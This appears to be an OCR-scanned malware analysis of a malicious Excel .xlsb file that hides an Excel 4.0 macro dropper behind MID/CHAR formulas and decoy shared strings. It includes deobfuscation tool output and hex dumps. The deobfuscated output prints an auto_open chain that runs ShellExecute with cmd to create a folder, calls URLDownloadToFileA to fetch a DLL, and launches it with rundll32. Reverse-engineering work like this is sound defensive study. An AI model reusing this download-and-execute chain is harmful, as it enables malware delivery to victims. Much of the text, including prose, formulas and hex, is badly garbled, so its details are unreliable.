Bap Lhal she comld med ke LG FLL Lo sar, The lobsler was & soarbel mystary 1o ber. bul she hawsied and pobed 1011 1) was washalled and is meagarproporilons mosaled 1o &
quove of latiucs leswss. The potatoss hedts ke hurried, not to kesp the asparsges waiting, and wers Lot donest the last. The blascoeangs wes lespy, snd the sirewberriss Lot asrips
am Ghey locked, havisg bssn skiifeliy °desccoseds, SSell, ihey cen =i besf ssd bresd and butiar, L[ thay ars busgry, caly Li%s mortifyisg bo have to spand your whels mornieg
Formathimg, § Chomght 26, oo abe fais) Cha fell Ralf an bbar lates thaed /crc/alstairdtiramd we akall lesve Therafield to-medrow, within kelf ae housr aftar surfeturm fros oharok, SSvery
wall, sir.SSHith what an satrsordinary ssils you witersd that word- Sverywsil b fare® What & bright spot of colour you havwe on ssch cheskfand how strangely your syss glittar! Ars
s wali7EAE Bmlleve T an SiBallevel Whal i the malles? Tall s whal you Fesl 5367 oeuld mel; sif) o wafds simld tell s whatl § feel, T wish Chispieseal biraf ssubld mvar el she
hnows with what fabs the nart deyssy coms chargedtiiTuis is hypoohondris, dans. Tou have besn ower-azcited, srover-fatigued.bSfo you, sir, fesl calm snd heppyrSScalms- na: bat
Bagpry- Eo ks hearths oors, ST looked up i hin S0 resd the siges of Bllss In Bis facs; 1t wesardesi snd [leshed, 3Glve ma your ooafldencs, Jars,d B sald: Spedlesvs your mbed of
anpwaight That ppiessss 1t, by ispartiey i1 o WAt de pom Fead?-that f ahall Al prove & pewd ishandTRAIr 16 the ides farthest from sy thoeghts GlAre yoe sppielacelve of the
maw sphars you are sbout to esterts ofd trdfpisdairdisThen cams the hours of suspenss, durirng which shes vikratsd from parlor to poroh, whils publio cpinicm varied liks the
A . Aamarl ahewad a1 aleves had ewideatly guansbed Uhe anbiis loss oF (heyig ladles Wl esie Lo aiflve ol Vealve, Fof solssly osss, sl af Uesihe sohass bl Fand Ly sab s
in = blaze of sunshine to consums the parishsbls portioss of the feast, that mothing might bs Lloat.Sko doubt sbout the weathsr today, they will cartaisly coms, sows must Ely round
ard be resdy for Lhem, S sald Avy. as the swn wobshar sasi morning: She spohs briskly, el in her ssorel scul she wishedsha had sald rothing aboul Tessday, for her Infsrssi like
Bar Saks wasL/rrofalscalsorsiag, walt & RiSGtE. Tou meat &0t Pels Bar. Wit & livtia) § willtall woa aboet wyesif. I was sardled, and oy buaband decsived &) Liakges and jealsusy 1
would have thrown wp swerything, | wouldeyssif... Bwt 1 osws to mysslf sgeis: ssd whe did 187 Asns saved me bnd Bers I am livieg ca. The children sre growing wp, oy Busband hascons
Wik v ks famliy, aml feads his fault, Ls geeelog peres, deiles, aml © Live n... [ kove Copglees UL, sl o oeght LofarglveiSileme] Alensmteevioh b b, et bar sepls el me

<t¥ml version==1.0" ancoding="UTF-8" standalone="yes=7>

<gat =mlns="hcrp://schemas.openxmlformats.org/spreadsheetml /2006 /main” count="34" uniguatounc="34"><sir<t>conferences Were
Andesd, talked comparatively little, but I heard him talk withrelish. It was his nature to be communicative: he liked to o
soanes and ways (I donot mean its corrupt scenes and wicked ways, but such as derived theirinterest from the great scale o
ware characterised); and I had a keen dalight inreceiving the new ideas he offered, in imagining the new pictures haportral
hedisclosed, never startled or troubled by one noxious allusion.The sase of his manner freed me from painful restraint: th
troated =a,</t></six<si><t>*Working on till the peasantsS dinner hour, which was not long inooming, he went out of the barn
neat yallow sheaf of rye laid on thethrashing floor for seed.Fiocdor came from a wvillage at some distance from the one in |
association. Now ithad bean lat to the innkesper.Levin talked to Fiodor about this land and asked whathar Platon, awell-to)
village would not take the land for the coming year.</tr></si><ai><t>Without answaring his words, Varia bent over him, and
alaar, notfavarish; bot thelir axpression was stern.S5Thank Godl5S she sald, SYouSre not in pain?S55A littla heara,5 he poin
ulumuurmunmmu.m ha had finished hae id:5I5m not dali

And now if we look at the SharedStrings.xml file it is a little different.

By the counts there are 34 indexed shared strings. Each appears to be randomly generated strings.
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£Peml veralon=*l.0% srcoding==UTF-8° standalone="yas® 3

<sst amlns="http: S schemas.openxmlformats.org/spreadsheetml /2006/main® count="34" uniqueCount="34">{sir<t>oconferences were sought
indoed, talked comparatively little, but I heard him talk withrellsh. It was his pature to ba comsunicative; he liked to cpan to &
sooanes and ways (I donot mean its corrupt soenes and wicked ways, but such as derived theirinterest from the great scale on whioh
wars charactarissd): and I had & kean~
hedisolosed, nover startled or troubl
treated me, </ tr< /sixcpixcrWorking on
naat yellew sheaf of rys laid on
assoolation. Now lthad been lat to
village would mot take tha land for
olear, notfeverish; but their axpre
ailence, stiffening his broad jaws,
shot mysalf on pu.l:pun.E{!t}{!u.}{u.}
anunamlable-looking nan, bha copalled
thers was no thought om thalow, even
baaming full over hin- for Momlld
daference ba it spoken) the contrast
aver, for everyone avalled them-sael
fall wpon ker in the hall, crying wi
that, and said somathing hcrl.llil.nt.mr
ashamed of the great tear that drop
salfish girl! But IS11 truly try to
mors, Lf I can help Lt.S5ISLL try and
thinking that kesping har tesper</t><
him aman unlikely to bs influenced by
justified in joedging and blamingeith
thess principles: I supposaed, thaen,
<fexd/alr<alrirruns beginning with f1
wasleft alone. Be had eaten scarcely
but was incapable ofthinking of sleap |
open panes. Over the snow-ocoverad rool
har that she could pot nake it £it to
grove of lottucs leaves. Tha potatoas
as they locked, having been skilfully

ide o wﬁmllmlﬂdﬂnmhhhphlw1nhmywl-¢“d“w* bl B s Bl withe s h. B wr i o]
iy of &8 seanas a6 warns [| doncd maan B coemppt scanes andwicked ways. b such 38 derved hennsmet bom)
mhy'n-:hMrmmwlhm:hmwmhmﬂnhmnmhlﬂmw
ragrons hadclosed, naves saed oo bowbled by one nocous alusicn The sase of he manne: beed ma bom painksl resiant hefiendly rankness. as com
e 1 Worlang on 8l the peasants§ dnner how, which was not long incoming, he went out of the bam with Ficcdor and fell inlo talk wibham. siopping Easide
Boordor saed Ficdor coma from o village ol some destances rom e one i whctLewin bad once alloBed land ko his co-opanbve assocabon Now #had bee
about thes land and asked whethes Plaion, sevel-ic-do peasant of good charackes belongeng 1o he same vilage would nol ke the land for he comang yea
Incdax 2 W ishoul answenng hes woeds, Vara bert over hm. and wih adelghled sede gazed inio he face. Fis ayes were Clea. soflevessh bul her expiossy
0l paen7ESA, bk heve.5 he pomied lo he breast 5Then lel me change your basdages Sn sdence, mmmmumxhumm
sasd Si5m nol debnous. Please manage Pat B i o
a3 mrwmummnnmgmgm-m“mmmlmmmum“lemmmtm
B Wikl RODOWEH i That sSmooth-skonsed tace of &kl cval shapa: no bmsass mthat agules nese 3nd small chaimy Mol Fare wils no Bought on Biow,
Bt iyl 8 | 41 11y el S0, B Maakiind 30 harm with e gt oMl Gt esaisbirs £ o i b et bl e P A3 B € v ) PP et
AN DR, Bk o P vkt 2 [ A8kt b e ratend
Iechas 4 g i with Bt Raan on hid bps. Dusng B et B ol Iestlied o B e Bl v, Bod aviryone Bvided Bam-Sahid of B pond
old Hanagh, who, adomd s & hiaddeis iy andwonderbdy mede. Sl opon hid ithe hall, cryng with & 30b sad schodide. SBas you, deary, & by
wvieryung keks Kty SEverySody chiated up slerhal snd 2aed somaung belkas, of Mid 10, whath ded ot 5 will, B Linghter o iy whsinbsparts i

Wit
Inex 5 ashamad of the Graal e Bl droppad of B end ol b node, andAny savel mndid B rumplbng of b cort oo b had Bar bace on hit matharss

haschoicn of 2 wils: bl B longae | thi poslion. s wic_ ofthe parkes_the lees | fel petled in udging snd biamngear him or Mo

I wrote a tool to aid in extracting and indexing the shared string from the xml file.

When I first parsed the shared strings I ended up with 0-37 index values instead of 0-33.

Turns out the tool stumbled on a rare random Char value I was using to split on.

mitl] | L e | Lottt e |- el - Lt e |- it bt R bl

TER] vETRLOM~1. 0" SACCAINg=-UTF-§- BTARGAlORe=-yea=13
xmimacrostest amlrs=hbtp:/ fachenas . opsaosl formats . orgfapresdshes bl /06 naln®
hbtp: / Feckams . cpsnol forma b crg/fo L ELosbooumant £ 1008/ ralat ionships
soft . oomofflon fepresdshes tal /20093 ac* sdinans i
ST e L

smlrn amet hibp: f fackenss . mlorosof £, oonfof £1osfsaosl FI006/main® =aln

¥ rirou reTdT
p- ;.._u.-.-umr reTAA s .1:.1-1-:.3:.-1-:1-.-:“.-..,.-.-:1,. rehm Lddare Tl rge pRTART LeT T ROvRAL YR ERTE
£ EETRAT 1Rt R e rOE T LTl L ACALL [CRARCRI) Samp MEDIES 13, 11 Samp MID (ELL , 3, 1) Famg MIDIKIE 4,114
FE b samp D ini g, 38, ) IL B4, %, 1) sang W) Eamp SCRAR S F) Semp GRAR L35 Samp WED (BT 4, 35, 0 ) seap

¥ .
PENBBL VSR g rew reTAT mpans=Tl BT
o8, 0] b SCARS L] Samp SCRAR (B8]  CHAR (ED) damp
MERT] 'Y 4,44, 41 I8 mid, ¥, 0
n I-1i-.l§ U1 g CRLE, 4, U £ampMED (KI5, 3, L} suagy
LU .ﬂ.ll MIB LS 0, L) damp MED{ETY, 64, 8) JE 1=1%, 88,4} (LEr] IR (Lol i) b B damp o (r¥L, H LE] TR [ECLPEL L)) g irad 3. 0 JE r28 2,00 sampy
MIE P, L, L) damp WD (L B, 1] P IR (1T gamp IS I, LT, 1) samp MinF3L, 84, b Lamp MED (730, & lp-q-uur:l. 39,15 damp SED (L, B4, B) dampMED (FRY, 5F, 1) amp It D], 08, 1) sanps
MISEFFL, 30, L) damp WED{FFL 32, U damp MED IFRE, 3, 1 b dang D FTL, 30, L) damp /CHAR (X)) damp CAR ] Lamp,MEDIFIE 1, 1) damp I FTLL 6, 1) camp 3B 0F2] A, L) danp C0AR {106 ) sanp CHAR (E2D) 0,08 =D@{)
</ Eramsleiwral st rmiroy Tee1" mpaneetl il 340 TEUATS TEeESrLvATLIVILICIOD [RURTS ot at R Ow e T C S Towsrow TeoBe spana=cl 8 hiddenmles<c peeART tmeacaLvadlvidlors
....1:+r.--!'.l-l=: resARS pmeerdyallafvadioran petBAS LechesCEMEATTNON]] = 00:00:04%) =FLI{h<S Eriwald vai/ ool pousdnow Tel0®
B ys LM e T irow T==11* spans==1:8° hidssne=l*rdic T sivslddivadi o Ttk =riwsll
e L = b =y sl T Sy i powrow Tee13 apa hidden=®1*3ic r==KL3" e T
SARpMIDINT, 14, 1], CHARCES) 8] Eamp AOMAR A TE] Samp ORAR{S8] Samp MID (89, 16, 1)
o e WA ETO) damp MEDINE, 37, 1) §unp MIDEWS 68, 1)
e I AN, 132,13 mluri.up.mrmi.up.-mu.:nri.up.-nul:wlu-p.m:n:u-p.mcn:.u-.u:muw.l:: L dmmgs %, 34,13 dang MIDIG1S, 34, 1] Samp MID[S15, 135, 13

hiddan=*"1%*3ic ""I:I.}"

=g
mrliumt;llu.pmiu:t L mu.himrﬂuwmrn:uvmrmuvmnlm LR NRFLEN i
WISEID, B85, 11 6anpUMID CEID, BAD, 11 S4mp MID IO, 21,1} §mp MIDEE0, 15, 1) fang MIDAKIS, 31, 41 bamp CHARIHE] £amp MED B30, 3 , 11 64mp MI0 L0, 84,11 §amp I (K3, §, 31 samp
S CHARE R ) damg WED{ETD, 3, B) Samp MED (K38, 44, 3] SampouIn 20,1, 1) damp LA (306 ) §amp rCHAR (8 20] Sanp a0 10, 238, §) £amp a0 (E20, 13, 1) Seap uinEEd0, 6, b) damp MED (B35, 6,1 0,05 ~Hi61)

F Erawrleivralgat/ cred Teelde apans==1i87 hidden=T1"rog peALET pEemrovrlOivaigros TetELAT TETaTaONROC VL grC poneLag rem LT spans=e] 8T hidden="1"300 remALET pemamaovad]
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CPTRICIC TOUICTON TRU1TY Spane==1:8° hiddens"leso FEcALTS © OIS VIS IS TRTHL T TETaTrevsREC VAL OIS TONICTOW TRT1E" Spana=t1i8" hiddenstlTi<C FEeALE® WO VAL IEIOT
= by EERALE | CRAR{ B3 ) S MEIBEEL], L3, 1 danp MID{EEL, D, 1] Samp MIDCELY, 4, L) damp sED (1L, &, 1} 8 s riAR (5 ) s 2EHAR (50} , CHRAR{ DY) & amp MIBCRLA, 76, 1} §anp IS |
Wamp HED B4, 5, 1h damp pSHAR S damp EHAR1F0} dang I8 {REE, 35, 1) damp SED (R14, T8, §) damp ME0TRLA, A3, 1] famp AE0 CRLA, A€, 1) §anp TSR0, 35, L) danp SED{RIA, 55, 1) , SHAR (T4} sangs
CHAR [T o CHAR (67 ) §amp pCHAR (67) damp CHAREET) damp -CHAR{67) famp CHAR] T4] Ga3p CRAR{74) 0, MID [H1S, 35, 1} faap MO0 CHLS, 4, 1) damp MED (H1%, 3, 1} danp M1 (HLS , 30, 1) MIBCELE, 3, 1) damp;
MISECED, &0, 1) damp SLD{C1Z, X1, 1) . CHAR [47) danp WD (RS, 105, 1) damp MIDIRS, 0, 1) damp SIED (RS, 17, 1) senp WIS (NS, 30, 1) damp MED (85, 45, 1) dang WID (RS, T, 1) jang MDD RS, 33, 1] samp 10 (RS, 53, 1) danp

upmununp.mnzouupwnm FLEN T LT S MID RS, 53, 1] Samp MID 85,
0,00 =08 [hEFEROvRI S TRl Er povidry e spanse=1:8" hiddane=1"mde 157 LemamryRRTo R erE renG18T 1eT
mEGe peTAGOT LeTeTECYRIROiVEC eRe peTERET LeTeTONR B0 v/ e ponrt ey peT@1T spansecl 8T hiddensTiTEoe pemadls
PETEET SRR NI R e pCE Rt EET apanssT]iRT FER1TROE RTASET 1STETrCVRARC VLA ERCE PRTDEET 1S Thes ALY ] F v v S B peTaAT
<F phaatDatar Caleat FEOTSUTIen A1y it nmae= g - 515 hask
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Here we see the xml version of the macro code. Like the shared strings it is hard to see thru all of the xml tags

what is there so I wrote a parser for those too.
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This

tool is designed to extract values to aid in better viewing what is happening without all of the xml tags. In

this case some are left.

M B = LN Lo B3

e
La B3 b

Functions with Gat Cell

Remaining Functions _Shared strings index value to inser into the cell

Row Value
<c
<o r=m

< rEvARE petgRROvRRLSvrgSel
<o rEALT =g v ILSvrd fo
o ra"Abkm s hLvdddf vl
e rEYRST pEtarLysEL rad e
&g r="AE" t= Aty R =
e rm"PES tEtheb<f
MID(B14,9,1) sa=g MID (B *y L

mt?ll#nwmtﬂlﬂﬂpmlﬂli
MID(C12,60,1) Samp,MID(C12,31,1) ,CH
MID {ﬁl,&,l} sa=p CHAR (37) sa=p MID
MID(F21,22,1) samp MID(F21,3,1} s
<E p=EYATY pEtarROvI T v ek
<g r="BT" =g RxLudBlfvnd o
£E rEvAE" tEvg Lyl v e
<c r="HE" T="a">Cvrli</vaLs e
<c r="AY" t=rs xLvrllL v g
<t r=YDO% tethe>CEMNATT (MOWEY + *00:00:04%) =PL13()</Ex<vilsSfvagier
<o r="Al0" =g ravElRdSvigfio
£ r="Cl0" tevsv RSyl T =1
- W bt e

{E1l,3,1) samp MID(E1Ll ,4,]1) samp MID(E1l,4,1) samp ,CHAR (51} &4

I llﬂb}itm;lﬂblnu 35, 1) sa=p MID (B14, ?B,l}it@-ﬂﬂbllll 43,1) samp;
mlﬁ“mpmlﬂi:mp'mml"ilimpwlui 0,MID (H15,35,1) famp /MID (H15,
({47} samp MID(F21,19,1) samp MID(F21,8,1) samp MID [F21,99,1) samp MID[F21,416,1) &
iT,l}itm.r'lnDlr‘ﬂl.il,l}um;‘lnl)ll“:l 5,1) ampHID (F21,39,1) samp,;HID(F21,14,1) &4

LA Sl o Bl 'S“B"b(v:il?(f'u}--:.-"cb

£ r="Al13r t=venRIvRlBd v fon

g revFl3IY cevhY L ERCALL (MID (BT, 12, 1) samp HID (BT, 6, 1) samp MID{BT 19, 1) samp, MID(B7,85,1) sasp MID(BT,26,1) samp MID (BT
MID{HS,16,1) samp MID (HE, 41, 1) samp MID(HE 4, 1) sampMID(HE, 68, 1) samp MID (HE,16,1) sa=p MID(HE, T, 1) camp MID (HE,34,1) &
MID(HE 68,1} Sasp /MID (HB,3,1) Sazp /MID(HE, 132 1) ,CHAR (T4} damp ;CHAR (T4} samp ;CHAR (67} samp CHAR (67} samp ;CHAR (T4} s§amp O
MID(G19,12%, 1) samp CHAR (58) samp, CHRAR (47) samp, CHAR (47} samp,CHAR (51) samp ;CHAR (55) samp /MID{GLYS, T2 ,1) samp ;CHAR (49) sasp
MID(G13,72,1) éamp  CHAR (49) samp ;CHAR (51 ) samp /MID(G19,16,1) ,CHAR (67} samp,;CHAR (58) samp;CHAR (52) samp;CHAR (80) sa=p /MID |
MID(E20,21,1) Samp,MID(E20,141 1) samp, MID(E20,540,1) Sasp, MID(EZ0, 21 1) Sasp /MID(E20,15,1) Sasp MID(E20, 21 ,1) samp; CHAR{

Here

we see what the values are.
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If we look at the highlighted values in green we see that it is looking for the string in cell ‘E11’° then we are taking
the char at the index and taking so many chars. “MID(E11,12,1)” . In vbs the index start at 1 but in this the index

starts at 0.

So now we know the first char code was converted to “S” and now we see the first extracted letter is “h” and the

next to letter is “e” and then the next 2 are at the same index and is “1”.
Now we have the word “Shell” extracted.

This would be a pain to do by hand, but now that we understand how it works what else is available to extract this

data.

The Answer is “XLMMacroDeobfuscator” located here .
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L ] B Fwerrfyta 2 5 =) =] ajs dlE! Lo 14 ]

I CUzers\Jo Usech\DeskrophConvestDocrxladechivecater ==file File.xlsb

3 EIMMacroDecbfuscator: defusedsml is mot installed (required to securely parse XLEM files)

4 ¥isMacroDeshfuscatsr: pywindl ia saot fmscalled (snly S8 regquised 1f you want oo uas ME Excal)

5
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70N Fld s L ]

LY S0 Iy 43 |

A T A I i

10 P40 NI

11 L R N | 1 [

2 [/ A | LAY i1

13 3 A0 Al %1
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15 I B I I [ L [ . B o L N A
20 Pl ot SNE ) 1 by 1) i) 1y VollL AT [ O T O T N N O
B i £ A VAN SIS 4 I LN LU A1 b_( i L I
i

23

24 dldMacrobechiuscator(+0.1.%) - [

26 File: C:\Usess\Jos User\DeskespiConvertDos\File. xlak
28 Unsncrypred xlab file

30 [Loading Cells]

31 auto_open: auts opandEELlT9=>Sheat3!SFS4

32 ([starting Dwobfuscation]

33 CELL:Fé& ¢ Par 1Evaluation s TCALL(""Shall3z==,""ShellExscutah™", =" JJOOOCIT™", 0, ""open™", ""cmd™", " /c mikdir Sprogra
34 adatathwohix®"",.0.0) gerDefinedPunction (" sWAIT (""" 44511 . 4873140148200:00; IM""J--':l’a-rml!'..m-dhnﬂ-mnl )
a5 mn""""‘","""""""‘UR.‘I.Do‘wr'lmd.'!uralih"""""",""""""“J"‘CJJ mRAREEe=, mEeRRRR Rz \FrOgEa

36 mhara‘wehix\wehjx. dil===="""" 0, 0)==QgerDafinedPunstian (""" """ "afRIT ("= nnannn -I.-I.S.!l‘- 4BT3IITHEITE400: Qg mmnmnmnmmm==
17 "= mw u:mtinldmnctinni"""""""" ALL (* """ EEARsRsssEEss=

3g S S

15 L0, - e HEREEEs e A ———

40 . memmEEA R "fo rundlld? Sprogramdatadiwchixiwohjx.dll,gigimreeseeseee=s

4] mEmmssssesseeeeeees 0 settpes Bef i nedunes ion (HALT (| ) TRSSSSasa i n i e ——— w wn

42 CELL:F13 Evaluation ¢ SCALL{ " "urlmon®=, *“URLDownloadToFileA™", " JJCCIT™",

43 0, y==aarDafinsdPunccion (" "=RALT (""" "44511. 4573611111100 002 12"

44 merestshel lExecuten """ ittt o vt - alle ““open r
45 mm=— Je rundll3? wsprogramdatabiwohjxwohjx.dll,gigi” === 0, 0) ==UsarDafinsdFunction (HALT {} ] =="") ="} "
46

47 Files:

&g

4% [END of Dechfuscation)

As we can see here this tool does a great job of presenting us with the deobfuscated strings.

The version I’m using here is from October 3rd 2021 before it was updated several more times. The version

number stayed the same so you need to verify by the install/ file date.

Using the latest version as of November 12th 2021 it only returned the eval result. Also notice in the screen shot

that showed the data it is a “Partial Evaluation” where in the updated version it is a “Full Evaluation”.

I have not looked at the byte format for the Macro sheet data but I have looked at the shared strings in the binary

format.

Do to the lack of information that I can find on the file format let’s take a quick look at the data in this file as

shown below. Notice the patterns.
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63 0D &F
57 00 &F
57 00 69
&1 00 6E
&7 00 &1
61 00 73
Te 00 72
77 00 &L
54 00 &E

54 00 6B
35 00 4E
&6C 00 61
&1 00 72
T3 00 T4
35 00 57

63
&F
61

7
&F
[13

(11

€5
74
A
€9
€4
L1

7z
20

3
IE
€2
12
20
&D
€D

2
5
0
73
EF

73
20
3
20
kL]
20
20
&9

T4
61

70
48
74

65
20
20
57
€3
75
&F
&D
&7
&9
61
64
12

79

PR T A A L I P A

I T LI U T

In the original sample I wrote an extraction tool for we can see how it is laid out slightly different.
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00 5 00
13 07 00 01 00 00 00 6C 00
13 07 00 01 00 00 00 41 0O
13 07 00 01 00 00 00 €% 00
13 07 00 01 00 00 00 7% 0O
10 13 07 00 01 00 00 00 46 0O
i1 13 o7 00 01 00 00 00 72 00
1z 13 07 00 01 00 OO OO0 &F OO
i3 13 o7 00 01 00 00 00 54 00
14 13 07 00 01 00 OO0 00 74 00
15 13 07 00 01 00 00 00 64 00
16 13 07 00 01 00 00 00 €3 00
17 13 07 00 01 00 00 00 &1 0O
18 13 07 00 01 00 00 00 €E 00
15 13 07 00 01 00 00 00 44 00
20 13 07 00 01 00 OO 0O T7Y OO0
21 13 o7 00 01 00 00 00 4€ 00
22 13 07 00 01 00 OO 00 52 00
23 13 oo 00 04 00 00 00 4C OO0 4D OO0 &F 00 &E OO
24 13 07 00 01 00 00 00 S5 0O
25 13 07 00 01 00 00 00 43 00
26 13 07 00 01 00 00 00 4B 0O
27 13 11 00 06 00 0O 00 4A 00 4A 00 43 00 43 00 42 00 42 00
28 13 15 00 08 00 0O 0O 4B OO €5 00 72 00 €E 0D 65 00 €C 00 33 00 32 00
29 13 OD 00 04 00 OO 00 66 00 6C 00 €1 00 74 0O
30 13 BT ZE 00 9% OB 00 OO 47 OD &F OD &F 0D &4 OO0 20 00 64 OO 72 OO0 &1 0D 77 0D 20 00 6B 00 &E 0O &5 OO 77 OO0 20 OO
31 13 93 0B 00 <7 02 00 OO OA OD 57 OD €% 00 74 OO0 &8 00 20 OO &D OO 79 00 20 OD 74 00 €8 00 65 00 &0 OO0 20 00 &9 OO
32 13 07 00 01 00 OO0 00 73 0O
33 13 37 00 1% 00 00 00 43 00 3A 00 5 00 55 00 73 00 €5 00 72 00 73 00 5C 00 50 00 75 00 62 00 €C 00 €% 00 63 00 5C
34 13 67 00 31 00 00 00 68 00 74 00 T4 00 70 00 73 00 3 00 2F 00 2F 00 64 00 6F 00 63 00 75 00 73 00 €% 00 &7 00 6
35 13 09 00 02 00 00 00 S5 00 44 00
36 13 FB 3D 00 7B OF 00 00 53 00 75 00 73 00 70 00 €5 00 &3 00 74 00 5 00 £4 00 20 00 €A 00 &F 00 &5 00 E 00 74 0
37 13 F3 OB 00 F7 02 00 00 45 00 78 00 74 00 72 00 65 00 6D 00 €5 00 &C 00 7% 00 20 00 6B 00 &% 00 GE 0O &4 00 €E 0O
38 13 FD 07 00 FC 01 00 00 44 00 €9 00 73 00 74 00 &1 00 SE 00 63 00 65 0O 20 0D €4 00 65 00 76 00 6F 00 6E 00 73 0O
3% 13 A5 03 00 D0 OO OO0 OO0 Z0 0D &1 0D &4 OO0 6D OO0 6% 00 72 OO0 &1 0O 74 00 &9 00 &F 00 6E 00 ZE 00 &% OO0 6E 00 74 OO0
40 13 B5 01 00 58 00 00 OO 4E OO &5 OO0 &5 OO0 &4 00 &5 OO0 &4 OO 20 OO &6 OO0 &5 OO0 &5 00 €2 00 &C 0O 7% OO0 20 OO &4 OO
41 13 B5 OA 00 98 02 00 OO 43 00 &F OD 74 00 74 00 61 OO0 &7 OO &5 OO0 20 00 &2 0D &5 00 €6 Q00 &6F Q0O 72 OO 65 OO 20 OO
42 13 93 27 00 <7 0% 00 OO 53 00 &5 00 &C OO0 &C OO0 20 00 &5 OO0 &9 OO0 T4 OO0 &8 OO0 &5 00 72 00 20 00 &E OO &5 OO &1L OO
43 13 07 00 01 00 00 00 45 00
44 13 09 00 02 00 00 00 46 00 44 00
45 13 09 00 02 00 00 00 S2 00 45 00
46 13 23 00 OF 00 0O 00 2F 00 41 00 4D 00 44 00 36 00 34 00 €7 00 €C 00 6F 00 72 00 79 00 ZE 00 73 00 7% 00 73 00
47 13 B3 3F 00 D7 OF 00 00 4F 00 €E 00 20 00 72 00 €5 00 63 00 €4 00 20 00 €E 00 €F 00 77 00 20 00 73 00 75 00 73 0
48 13 BB 05 00 5B 02 00 00 4F 00 €E 00 20 00 72 00 &5 0D £3 00 6F 00 6D 0O €D OD €5 D0 GE 00 &4 00 20 00 74 00 &F 0O
+
| theme 7/6/2021 6:06 PM File folder
| worksheets 7/6/2021 6:06 PM File folder
|| qutxml 1/1/1980 1:00 AM XML Document KB
4] styles.bin 1/1/19801:00 AM  BIN File 3KB
|| werkbook.bin 1/1/19801:00 AM  EBIN File 2kB

Although the file in my original sample was labeled qut.xml it was not an xml file at all. So you can not count on

a file name or extension for searches.
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Offset (h)

00000000
00000010
00000020
00000030
00000040
00000050
000000&0
00000070
00000080
00000090
000000A0
000000B0
000000CO
00000000
000000ED
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
oo0001%0
000001A0
000001B0O
000001C0
000001D0
000001EQ
000001F0O
00000200
00000210
00000220
00000230
00000240
00000250
00000260

00
23
00
01
07
00
00
00
00
13
24
00
04
00
00
4a
00
00
13
20
65
68
20
72
&7
73
62
6E
64
73
6F
61
6E
64
65
73
73
76
69
65

01

01
0o
0o
0o
13
6F
0o
01
07
00
0o
00
00
01
0o
4B
13
B7
00
00
00
0o
0o
00
00
Qo
00
00
0o
00
0o
00
0o
00
00
00
0o
oo
0o

02

og
65
00
01
o7
0o
00
oo
oo
i3
ac
oo
oo
00
43
oo
oD
2E
64
77
61
68
2E
T2
77
&5
61
&D
64
6E
67
64
20
T2
&6F
20
65
73
2E

03

48
00
00
00
00
13
74
o0
01
o7
0o
00
55
00
oo
a3
00
00
oo
00
00
00
oo
00
00
oo
[1]0]
o0
00
00
00
00
00
00
00
00
00
00
00

04

00
13
41
00
01
07
00
oo
00
00
13
4C
00
00
43
oo
04
99
72
20
6D
€9
20
65
65
72
T4
69
6F
&C
65
69
&6C
€5
&D
70
64
69
20

05

00
07
00
00
00
00
13
63
00
o1
07
00
13
4B
00
T2
00
0B
00
00
00
00
00
00
00
00
00
0o
oo
00
00
0o
o ]4]
00
00
00
oo
00
00

o8&

oo
oo
13
79
oo
o1
o7
oo
oo
00
0o
4D
a7
00
42
o0
oo
00
&1
a2
20
73
41
&5
T2
20
75
T2
&D
&9
20
6E
&5
13
&5
T2
20
T4
41

07

2C
01
07
00
00
00
090
13
6E
00
o1
00
00
i3
0o
6E
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
090
00

08

00
00
oo
13
T2
00
01
o7
00
ol
ol
6F
01
11
42
o0
66
47
77
72
62
20
73
64
20
EA
72
65
2E
&7
64
a7
64
EF
74
63
(-1
£5
&E

09

1]
oo
01
07
oo
o0
00
1 ]1]
13
77
0o
1]1]
oo
oo
oo
63
0o
oo
00
oo
o0
oo
00
oo
o0
oo
1]1]
00
oo
00
1]1]
00
oo
00
1]1]
oo
oo
00
1]1]

0R

0o
00
00
00
13
54
00
01
o7
00
00
6E
0o
06
13
00
&6C
&6F
20
65
75
68
6B
20
T2
&F
65
20
20
68
65
20
20
72
69
T3
78
20
20

0B

13
&C
00
01
o7
]}
00
o0
o0
13
52
o0
00
00
15
aC
00
00
oo
o0
00
00
oo
o0
o0
oo
oo
o0
0o
0o
o0
00
00
0o
o0
00
0o
00
o0

oc

o7
00
00
00
00
13
64
0o
01
07
00
13
43
00
0o
0o
61
&F
6B
64
T3
&F
20
61
61
79
20
77
4D
T4
T0
62
T4
€5
&D
65
71
73
66

oD

oo
13
g9
oo
0l
a7
0o
oo
jo10)
0o
13
a7
oo
00
og
33
oo
00
oo
oo
o0]
00
oo
o0
0o
oo
oo
oo
0o
00
oo
oo
0o
o]}
oo
oo
oo
00
oo

0E

01
07
00
]
oo
00
i3
L
o0
01
oD
o0
13
4A
oo
oo
T4
64
6E
20
T2
75
61
&E
T4
20
6l
69
6F
20
65
65
68
20
&5
T2
75
68
&l

OF

00
00
1s
46
00
01
07
00
00
el
ol
01
07
el
00
32
00
00
00
00
00
el
00
00
00
00
00
00
oo
00
00
00
0o
00
00
00
0o
00
00

' TN ; (AP
T s
(AR N R
...... Veeuwowoas=aF
........ Faissaaaas
P = P
PR Y -«
..... o - 1
....... 2

DivscrvaaWonnana
P Y
R AP . Y . T . W

J.C.C.B.B.......
K.e.r.n.e.1.3.2

s tee M .G.0.0.d.

d.r.a.w. .k.n.
e.w. .b.r.e.d. .
h.a.m. .b.u.s.v.

h.i.s., h.0.u.
r... .&.83.k. .a.
g.r.e.e.d. .a.n.
S.W.2,L. .r.4.T.
h.e.r., .j.0.¥. .
n.a.c.w.r.e. .a.
d.m.i.r.e. .w.i.
2.d.0.M... MH.0.
o.n.l.i.g.h.T. .

a.g.e. .d.e.p.e.
n.d.i.n.g. -b.e.
d. .l.e.d. .t.h.

e.r.e,.f.o.r.e, .
s.0.m.e.tc.i.m.e.
5. .p.r.e.s.e.r.
v.e.d, .e.x.g.u.
i.s.i.t.=, .=.h.
e... A.n. .f.a.

And here is what it looks like in the Hex editor.
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| i bt 1 ) =il e — m'
ddeacil 85 BL BF G5 B4 G5 S BT 6 08 Ok 05 52 05 B AP i 8r ol oe r
S0000000 NF OL 50 4N £O 99 0O € 00 00 00 13 87 ) 21 09 I 4R 00 00 00 ="
SESGHAL0 B0 oh AB O3 33 9% oh 81 00 00 08 WE 80 13 8T &8 BRI ==
JEOGIIE AL GO B 00 41 03 1N 9T OO 61 00 O 86 &N 50 1) 4
poe CEABEsIRESBARNaS 3397 00 03 90 90 %0 8 90 3Easasiissseasseassssesaaznas
